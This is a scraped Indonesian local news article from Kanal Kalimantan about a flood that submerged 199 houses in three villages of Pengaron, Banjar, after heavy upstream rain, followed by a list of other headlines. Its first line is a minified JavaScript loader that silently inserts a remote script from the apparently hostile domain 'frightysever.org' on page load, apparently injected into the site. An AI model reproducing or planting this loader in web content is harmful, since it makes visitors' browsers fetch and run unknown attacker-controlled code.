(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Hujan di Hulu Riam Kiwa, Terukur 40 Cm Air Naik di Pengaron


MARTAPURA, Hujan intensitas tinggi mengguyur di wilayah bagian hulu sungai Riam Kiwa, Kecamatan Pengaron, membuat sejumlah rumah warga terendam di 3 desa, Minggu (22/4).

Kiriman air bah di hulu sungai Riam Kiwa sekitar satu jam sempat merendam 199 rumah warga di 3 desa yakni Desa Pengaron, Desa Benteng dan Desa Mangkauk. Kiriman air mencapai ketinggian 40 cm atau setinggi lutut orang dewasa.

Kepada Kanal Kalimantan Camat Pengaron Rulliadi mengatakan, banjir yang merendam beberapa desa tersebut diakibatkan hujan deras yang terjadi di hulu sungai Riam Kiwa, sehingga luapan air di Riam Kiwa tersebut turun ke wilayah Kecamatan Pengaron pada sekitar pukul 11.00 Wita.

“Pukul sebelas siang air mulai tinggi, mungkin ada sekitar tiga jam baru air surut kembali, sekarang sudah surut,” ujar Rulliadi dihubungi via telepon.

Banjir kali ini sempat merendam rumah warga di 3 desa tersesebut adalah desa Pengaron sebanyak 52 rumah, Desa Benteng 86 rumah dan desa Mangkauk sebanyak 61 rumah, sedangkan Desa Loktunggul air hanya sempat merendam badan jalan, tidak masuk ke dalam rumah warga.

Sementara itu menurut Sarbani, Sekdes Loktunggul kepada Kanal Kalimantan mengatakan, hujan di bagian hulu pada Sabtu malam membuat beberapa rumah di tiga desa terendam banjir. “Namun untuk desa Loktunggul sendiri tidak ada rumah yang terendam, luapan air hujan hanya sampai badan jalan saja, tidak masuk rumah warga,” katanya.

Sementara itu, Rahman warga Desa Pengaron menyatakan, kecil kemungkinan Desa Pengaron terendam banjir, pasalnya karena anak sungai yang menggalir ke Desa Pengaron sudah dibagi dua. Jadi, yang terendam itu adalah desa-desa yang berada di dataran rendah, di bagian bawah pusat Kecamatan Pengaron. “Penyebabnya karena air kiriman dari hulu yang mengakibatkan sebagian wilayah Kecamatan Pengaron menjadi banjir,” ungkapnya. (rendy/hendera)

Reporter: Rendy/Hendera
Editor:Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

4 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

6 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

6 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

6 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

7 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

7 jam ago

This website uses cookies.